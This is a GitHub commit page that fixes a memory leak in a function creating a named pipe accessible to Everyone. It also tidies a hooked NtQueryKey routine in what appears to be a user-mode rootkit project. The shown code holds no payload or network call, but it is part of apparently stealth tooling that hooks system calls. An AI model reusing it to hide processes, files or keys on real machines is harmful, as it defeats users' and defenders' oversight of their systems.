Skip to content

Commit b84b6e1

Browse files
committed
Fix CreatePublicNamedPipe memory leak
1 parent 638ed18 commit b84b6e1

File tree

2 files changed

+40
-26
lines changed

2 files changed

+40
-26
lines changed

r77/Hooks.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -395,7 +395,7 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
395395
}
396396
static NTSTATUS NTAPI HookedNtQueryKey(HANDLE key, NT_KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG length, PULONG resultLength)
397397
{
398-
NTSTATUS status = OriginalNtQueryKey(key, keyInformationClass, keyInformation, length, resultLength);;
398+
NTSTATUS status = OriginalNtQueryKey(key, keyInformationClass, keyInformation, length, resultLength);
399399

400400
if (NT_SUCCESS(status) && (keyInformationClass == KeyFullInformation || keyInformationClass == KeyCachedInformation))
401401
{

r77api/r77win.c

Lines changed: 39 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -507,34 +507,48 @@ BOOL DeleteWindowsService(LPCWSTR name)
507507
HANDLE CreatePublicNamedPipe(LPCWSTR name)
508508
{
509509
// Get security attributes for "EVERYONE", so the named pipe is accessible to all processes.
510+
HANDLE result = INVALID_HANDLE_VALUE;
510511

511512
SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY;
512513
PSID everyoneSid;
513-
if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE;
514-
515-
EXPLICIT_ACCESSW explicitAccess;
516-
i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW));
517-
explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
518-
explicitAccess.grfAccessMode = SET_ACCESS;
519-
explicitAccess.grfInheritance = NO_INHERITANCE;
520-
explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
521-
explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
522-
explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
523-
524-
PACL acl;
525-
if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE;
526-
527-
PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
528-
if (!securityDescriptor ||
529-
!InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) ||
530-
!SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE;
531-
532-
SECURITY_ATTRIBUTES securityAttributes;
533-
securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
534-
securityAttributes.lpSecurityDescriptor = securityDescriptor;
535-
securityAttributes.bInheritHandle = FALSE;
536-
537-
return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
514+
if (AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid))
515+
{
516+
EXPLICIT_ACCESSW explicitAccess;
517+
i_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW));
518+
explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
519+
explicitAccess.grfAccessMode = SET_ACCESS;
520+
explicitAccess.grfInheritance = NO_INHERITANCE;
521+
explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
522+
explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
523+
explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
524+
525+
PACL acl;
526+
if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) == ERROR_SUCCESS)
527+
{
528+
PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
529+
if (securityDescriptor)
530+
{
531+
if (InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) &&
532+
SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE))
533+
{
534+
SECURITY_ATTRIBUTES securityAttributes;
535+
securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
536+
securityAttributes.lpSecurityDescriptor = securityDescriptor;
537+
securityAttributes.bInheritHandle = FALSE;
538+
539+
result = CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
540+
}
541+
542+
LocalFree(securityDescriptor);
543+
}
544+
545+
LocalFree(acl);
546+
}
547+
548+
FreeSid(everyoneSid);
549+
}
550+
551+
return result;
538552
}
539553

540554
BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)

0 commit comments

Comments
 (0)